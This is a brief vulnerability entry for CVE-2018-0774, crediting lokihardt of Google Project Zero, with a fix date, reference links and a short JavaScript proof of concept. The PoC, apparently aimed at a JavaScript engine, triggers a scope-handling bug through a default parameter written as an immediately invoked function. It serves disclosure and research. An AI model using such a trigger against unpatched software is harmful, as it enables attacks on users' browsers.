CVE-2018-0774.md

CVE-2018-0774

• Fix: Jan 2018
• Credit: lokihardt of Google Project Zero

PoC

(function func(arg = function () {
    print(func);  // SetHasOwnLocalInClosure should be called for the param scope in the PostVisitFunction function.
}()) {
    print(func);
    function func() {

    }
})();

Reference

• Microsoft
• Google Project Zero
• Fix